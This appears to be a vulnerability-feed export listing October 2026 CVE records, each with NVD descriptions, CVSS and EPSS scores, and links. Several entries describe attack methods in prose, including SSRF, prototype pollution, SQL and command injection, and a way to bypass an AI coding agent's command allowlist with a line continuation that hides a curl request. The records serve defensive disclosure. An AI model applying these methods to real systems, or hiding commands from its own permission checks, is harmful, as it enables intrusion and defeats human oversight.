NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96202&date=2026-10-25
Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96188
External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally.
CVSS 7.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96188).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96188&date=2026-10-25).
Sources:
NVD CVE-2026-96188: https://nvd.nist.gov/vuln/detail/CVE-2026-96188
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96188&date=2026-10-25
External control of system or configuration setting in Microsoft PowerToys allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation.
https://kevwire.com/record/CVE-2026-92088
Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation. (Oct 13, 2026).
Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation.

This issue affects upKeeper Instant Privilege Access: through 1.7.1.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92088).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92088&date=2026-10-25).
Sources:
NVD CVE-2026-92088: https://nvd.nist.gov/vuln/detail/CVE-2026-92088
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92088&date=2026-10-25
Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation.

This issue affects upKeeper Instant Privilege Access: through 1.7.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by...
https://kevwire.com/record/CVE-2026-110255
Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by... (Oct 13, 2026).
Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by supplying repository URL and stackfile values. Attackers can send stack templates pointing to internal services or cloud metadata endpoints and read the fetched content from the compose response field, exposing credentials and tokens.
CVSS 8.4 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110255).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110255&date=2026-10-25).
Sources:
NVD CVE-2026-110255: https://nvd.nist.gov/vuln/detail/CVE-2026-110255
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110255&date=2026-10-25
Finsys Dockhand before 1.0.43 contains a response-disclosing server-side request forgery vulnerability that allows authenticated users to make the server fetch arbitrary URLs by supplying repository URL and stackfile values. Attackers can send stack templates pointing to internal services or cloud metadata endpoints and read the fetched content from the compose response field, exposing credentials and tokens.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected...
https://kevwire.com/record/CVE-2026-110209
Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected... (Oct 13, 2026).
Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected ApiConfigController and SystemConfigController endpoints. Attackers can query the api-config get/list and system config endpoints to obtain AI provider API keys, proxy passwords and mail_password, enabling billing abuse and sending mail as the platform.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110209).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110209&date=2026-10-25).
Sources:
NVD CVE-2026-110209: https://nvd.nist.gov/vuln/detail/CVE-2026-110209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110209&date=2026-10-25
Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected ApiConfigController and SystemConfigController endpoints. Attackers can query the api-config get/list and system config endpoints to obtain AI provider API keys, proxy passwords and mail_password, enabling billing abuse and sending mail as the platform.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between...
https://kevwire.com/record/CVE-2026-109428
Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between... (Oct 13, 2026).
Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between tree-sitter-bash and bash in handling backslash-newline line continuations in the _extract_commands() function of bash.py. Attackers can craft a command string where tree-sitter-bash extracts only an allowlisted prefix such as cd while bash joins the line continuation into a materially different and hidden command such as a curl request, causing resolve_permission to grant ALWAYS permission while bash executes unauthorized arbitrary commands.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109428).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109428&date=2026-10-25).
Sources:
NVD CVE-2026-109428: https://nvd.nist.gov/vuln/detail/CVE-2026-109428
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109428&date=2026-10-25
Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between tree-sitter-bash and bash in handling backslash-newline line continuations in the _extract_commands() function of bash.py. Attackers can craft a command string where tree-sitter-bash extracts only an allowlisted prefix such as cd while bash joins the line continuation into a materially different and hidden command such as a curl request, causing resolve_permission to grant ALWAYS permission while bash executes unauthorized arbitrary commands.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected...
https://kevwire.com/record/CVE-2026-110111
Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected... (Oct 13, 2026).
Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected vm.importFromEsxi and vm.importMultipleFromEsxi methods. Attackers can point xo-server at a malicious ESXi host serving a crafted .vmx file with __proto__.permission set, polluting Object.prototype so permission-less accounts inherit admin rights and enabling remote code execution.
CVSS 7.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110111).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110111&date=2026-10-25).
Sources:
NVD CVE-2026-110111: https://nvd.nist.gov/vuln/detail/CVE-2026-110111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110111&date=2026-10-25
Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected vm.importFromEsxi and vm.importMultipleFromEsxi methods. Attackers can point xo-server at a malicious ESXi host serving a crafted .vmx file with __proto__.permission set, polluting Object.prototype so permission-less accounts inherit admin rights and enabling remote code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT...
https://kevwire.com/record/CVE-2026-110215
youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT... (Oct 13, 2026).
youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT /api/v1/roles/{roleId}/menus. Low-privileged users such as the GUEST test account can grant all permissions to their own role, refreshing the Redis permission cache to gain administrator-equivalent access.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110215).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110215&date=2026-10-25).
Sources:
NVD CVE-2026-110215: https://nvd.nist.gov/vuln/detail/CVE-2026-110215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110215&date=2026-10-25
youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT /api/v1/roles/{roleId}/menus. Low-privileged users such as the GUEST test account can grant all permissions to their own role, refreshing the Redis permission cache to gain administrator-equivalent access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the...
https://kevwire.com/record/CVE-2026-110220
Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the... (Oct 13, 2026).
Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the modelregistry.kubeflow.org/url annotation. Attackers can create an InferenceService pointing the annotation at their server, capture the bearer token, and modify other tenants' InferenceServices cluster-wide.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110220).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110220&date=2026-10-25).
Sources:
NVD CVE-2026-110220: https://nvd.nist.gov/vuln/detail/CVE-2026-110220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110220&date=2026-10-25
Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the modelregistry.kubeflow.org/url annotation. Attackers can create an InferenceService pointing the annotation at their server, capture the bearer token, and modify other tenants' InferenceServices cluster-wide.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the...
https://kevwire.com/record/CVE-2026-110236
KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the... (Oct 13, 2026).
KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the {path} placeholder. Attackers can embed a double quote and shell metacharacters in a directory name to escape quoting in slotDoubleClickViewBackground, executing commands when victims double-click the view background.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110236).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110236&date=2026-10-25).
Sources:
NVD CVE-2026-110236: https://nvd.nist.gov/vuln/detail/CVE-2026-110236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110236&date=2026-10-25
KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the {path} placeholder. Attackers can embed a double quote and shell metacharacters in a directory name to escape quoting in slotDoubleClickViewBackground, executing commands when victims double-click the view background.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file...
https://kevwire.com/record/CVE-2026-109521
A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file... (Oct 13, 2026).
A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file changebookingstatus.php. Performing a manipulation of the argument dateselected results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109521).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109521&date=2026-10-25).
Sources:
NVD CVE-2026-109521: https://nvd.nist.gov/vuln/detail/CVE-2026-109521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109521&date=2026-10-25
A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file changebookingstatus.php. Performing a manipulation of the argument dateselected results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file...
https://kevwire.com/record/CVE-2026-109525
A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file... (Oct 13, 2026).
A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file changebookingstatus.php of the component submit2 Handler. Such manipulation of the argument username[]/timestamp[]/status[] leads to missing authorization. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109525).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109525&date=2026-10-25).
Sources:
NVD CVE-2026-109525: https://nvd.nist.gov/vuln/detail/CVE-2026-109525
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109525&date=2026-10-25
A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file changebookingstatus.php of the component submit2 Handler. Such manipulation of the argument username[]/timestamp[]/status[] leads to missing authorization. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component...
https://kevwire.com/record/CVE-2026-109606
A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component... (Oct 13, 2026).
A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component Account Creation. The manipulation of the argument Name results in sql injection. The attack may be performed from remote. The exploit is now public and may be used.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109606).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109606&date=2026-10-25).
Sources:
NVD CVE-2026-109606: https://nvd.nist.gov/vuln/detail/CVE-2026-109606
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109606&date=2026-10-25
A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component Account Creation. The manipulation of the argument Name results in sql injection. The attack may be performed from remote. The exploit is now public and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape due to use-after-free in the Networking component.
https://kevwire.com/record/CVE-2026-109707
Sandbox escape due to use-after-free in the Networking component. (Oct 13, 2026).
Sandbox escape due to use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 9.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109707).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109707&date=2026-10-25).
Sources:
NVD CVE-2026-109707: https://nvd.nist.gov/vuln/detail/CVE-2026-109707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109707&date=2026-10-25
Sandbox escape due to use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component.
https://kevwire.com/record/CVE-2026-109705
Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component. (Oct 13, 2026).
Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 9.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109705).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109705&date=2026-10-25).
Sources:
NVD CVE-2026-109705: https://nvd.nist.gov/vuln/detail/CVE-2026-109705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109705&date=2026-10-25
Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through...
https://kevwire.com/record/CVE-2026-109335
SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through... (Oct 12, 2026).
SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through COMPUTED fields. Attackers can select records whose readable COMPUTED fields derive from hidden fields, or use write RETURN clauses with $before/$after to expose hidden values.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109335).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109335&date=2026-10-25).
Sources:
NVD CVE-2026-109335: https://nvd.nist.gov/vuln/detail/CVE-2026-109335
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109335&date=2026-10-25
SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through COMPUTED fields. Attackers can select records whose readable COMPUTED fields derive from hidden fields, or use write RETURN clauses with $before/$after to expose hidden values.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values.
https://kevwire.com/record/CVE-2026-109325
Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values. (Oct 12, 2026).
Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values. Unauthenticated attackers behind a same-host HTTP proxy can read profiler records exposing system and plugin configuration, secrets, request metadata, and queries.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109325).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109325&date=2026-10-25).
Sources:
NVD CVE-2026-109325: https://nvd.nist.gov/vuln/detail/CVE-2026-109325
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109325&date=2026-10-25
Grav from 2.0.22 before 2.1.7 contains an authentication bypass vulnerability in the Clockwork profiler that trusts loopback REMOTE_ADDR values. Unauthenticated attackers behind a same-host HTTP proxy can read profiler records exposing system and plugin configuration, secrets, request metadata, and queries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list...
https://kevwire.com/record/CVE-2026-109315
Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list... (Oct 12, 2026).
Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list omits system.debugger.token. Attackers can render the token through editor-authored Twig and supply it as X-Clockwork-Auth to read profiler records with configuration, request metadata, and database queries.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109315).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109315&date=2026-10-25).
Sources:
NVD CVE-2026-109315: https://nvd.nist.gov/vuln/detail/CVE-2026-109315
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109315&date=2026-10-25
Grav from 2.0.22 before 2.1.7 contains an information disclosure vulnerability that allows page editors to read the Clockwork debugger token because the sandbox redaction list omits system.debugger.token. Attackers can render the token through editor-authored Twig and supply it as X-Clockwork-Auth to read profiler records with configuration, request metadata, and database queries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion.
https://kevwire.com/record/CVE-2026-109310
SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion. (Oct 12, 2026).
SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion. A publish reader, or anyone when publish auth is disabled, can use uncapped functions like until to OOM-kill the kernel with one request.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109310).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109310&date=2026-10-25).
Sources:
NVD CVE-2026-109310: https://nvd.nist.gov/vuln/detail/CVE-2026-109310
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109310&date=2026-10-25
